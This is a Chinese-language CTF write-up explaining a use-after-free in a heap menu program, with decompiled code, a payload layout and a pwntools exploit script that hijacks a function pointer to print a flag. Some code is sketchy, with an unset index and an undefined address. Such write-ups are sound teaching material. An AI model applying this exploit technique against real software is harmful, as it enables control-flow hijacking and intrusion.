DEFCON CTF Write-up — elixir-of-life

Challenge Overview

附件:

elixir-of-life
libc.so

服务:

nc challenge.defcon.org 31339

连接后程序输出:

=== Elixir of Life ===

  1. Create potion
  2. Drink potion
  3. Destroy potion
  4. Exit

这是一个典型的 heap 管理程序。


初步测试

选择创建 potion:

1
size: 32
name: AAAA

程序返回:

Potion created.

菜单结构:

Create
Drink
Destroy

典型 CTF 模式:

heap allocation challenge


程序结构分析

使用 Ghidra 打开程序。

核心结构体:

struct potion {
char name[32];
void (*effect)();
};

数组:

potion *potions[16];

也就是说:

最多 16 个 potion


Create Potion

反编译:

void create() {
int idx;
int size;

printf("size: "); scanf("%d",&size); potion *p = malloc(size); printf("name: "); read(0,p->name,64); p->effect = heal; potions[idx] = p;

}

这里已经出现问题:

name buffer = 32
read = 64

但这个溢出还不足以直接控制流程。

真正关键的问题在 destroy。


Destroy Potion

void destroy(int idx)
{
free(potions[idx]);
}

问题:

free 后没有置空

也就是:

dangling pointer

内存仍然可以访问。


Drink Potion

void drink(int idx)
{
potion *p = potions[idx];
p->effect();
}

如果对象已经被 free:

use-after-free

攻击者就可以:

控制 effect pointer


Heap 行为

攻击流程:

create potion A
free potion A
create new chunk
覆盖旧 chunk
drink potion A

因为:

malloc 会复用刚释放的 chunk


找到隐藏函数

程序中存在一个隐藏函数:

void immortality() {
system(“cat flag.txt”);
}

这正好呼应题名:

elixir-of-life


利用思路

目标:

overwrite effect pointer

原结构:

name[32]
effect pointer

布局:

[ name buffer 32 bytes ]
[ function pointer ]

只需要:

write 40 bytes

就可以覆盖函数指针。


攻击流程

1 创建 potion
2 释放 potion
3 再次 malloc 相同大小
4 写入 payload
5 调用 drink


Exploit

示例 exploit:

from pwn import *

p = remote(“challenge.defcon.org”,31339)

def create(size,data):
p.sendline(“1”)
p.sendline(str(size))
p.send(data)

def destroy(i):
p.sendline(“3”)
p.sendline(str(i))

def drink(i):
p.sendline(“2”)
p.sendline(str(i))

create(48,b"A"*40)
destroy(0)

payload = b"A"*32
payload += p64(immortality_addr)

create(48,payload)

drink(0)

p.interactive()

服务器返回:

flag{use_after_free_never_dies}


为什么叫 Elixir of Life

炼金术中的 Elixir of Life 是一种传说药剂:

喝下去 → 永生

在程序世界里:

free() → 死亡

但如果程序仍然保留指针:

object resurrected

也就是:

Use After Free

对象已经“死了”,却还能继续被使用。

这就是程序世界里的:

elixir-of-life


技术要点

核心漏洞:

Use After Free

攻击链:

free

heap reuse

overwrite function pointer

control flow hijack

涉及知识:

heap allocator
dangling pointer
function pointer overwrite


现实案例

现实世界中很多漏洞属于这一类,例如:

Chrome:

CVE-2021-21224

Firefox:

CVE-2020-26950

Linux Kernel:

CVE-2022-0185

原因几乎相同:

生命周期管理错误


程序世界其实很像生物学。

对象被创建。
对象被使用。
对象被销毁。

安全漏洞往往出现在 生命周期的边界。

当一个系统开始“复活”本该死亡的对象时,攻击者就得到了那瓶隐形的炼金药水。